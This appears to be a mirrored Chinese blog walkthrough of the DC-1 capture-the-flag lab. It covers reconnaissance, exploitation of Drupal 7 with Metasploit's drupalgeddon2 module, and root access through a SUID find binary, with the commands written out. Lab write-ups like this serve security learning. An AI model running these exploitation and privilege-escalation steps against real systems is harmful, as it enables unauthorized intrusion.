zoukankan
html css js c++ java
DC1
1.收集信息
cms信息 使用的是Drupal的cms
端口信息 开开启了22端口,80端口,111端口
目录信息 扫到敏感目录
http://192.168.0.119/robots.txt
通过cewl收集敏感信息并生成字典
cewl http://192.168.0.119 -w passwd.txt
2.漏洞分析与利用
通过robots.txt查看敏感目录内容获取中重要信息
可以从uprgade.txt看出,使用的cms是版本为7.x的Drupal
搜索相关漏洞
进入msfconsle ——> search Drupal
尝试使用最新的,rank为execllent的payload: exploit/unix/webapp/drupal_drupalgeddon2
使用该payload后查看目标是否在可攻击版本范围内
设置攻击目标,得到session会话
3.尝试提权
内核作为最后杀招不得已再用。首先联想到常见几种提权方式,suid提权
python -c 'import pty;pty.spawn("/bin/bash")' #利用python的pty获得一个完整的tty
find / -perm -u=s -type f 2>/dev/null #将有suid权限的打印出来
发现常用于usid提权的工具find
cd /tmp #切换到tmp目录下
touch luojun #创建lj文件
find luojun -exec "whoami" ; #查询lj文件并执行whoami命令
成功发现执行命令的是root权限
find luojun -exec "/bin/bash" ; #将bash的shell反弹出来,发现失败了
find luojun -exec "/bin/sh" ; #将sh的shell反弹出来,发现成功,获得root权限
提权成功,接下来任意妄为寻找flag
查看全文
相关阅读:
Java 线程具有五中基本状态 ?
可以直接调用 Thread 类的 run ()方法么?
创建线程的三种方式的对比?
FutureTask 是什么 ?
什么是 CAS?
如何让正在运行的线程暂停一段时间?
什么是不可变对象(immutable object)?Java 中怎么 创建一个不可变对象?
创建线程的有哪些方式?
Semaphore 有什么作用 ?
CopyOnWriteArrayList 可以用于什么应用场景?
原文地址:https://www.cnblogs.com/sup3rman/p/12389296.html
最新文章
jQuery的文档操作***
使用jQuery操作input的value值
模拟百度导航栏滚动监听
jQuery的属性操作
jQuery动画效果
Java的HashMap和Hashtable有什么区别HashSet和HashMap有什么区别?使用这些结构保存的数需要重载的方法是哪些?
Java的4种引用 强软弱虚
Java数组有什么特征
Java优化性能
JAVA性能优化
热门文章
java序列化对象为什么要定义serialversionUID值?
Java常见的开源数据连接池有哪些,并对参数做出简单的说明
Java工程师面试linux操作选择面试题大全
Java对象什么时候可以被垃圾回收?JVM的永久代中会发生垃圾回收么?
java如何生成一个0-100的随机整数?
volatile 有什么用?能否用一句话说明下 volatile 的应用场景?
你如何确保 main()方法所在的线程是 Java 程序最后结束 的线程?
什么是线程池? 为什么要使用它?
为什么你应该在循环中检查等待条件?
Java 线程池中 submit() 和 execute()方法有什么区别?
Copyright © 2011-2022 走看看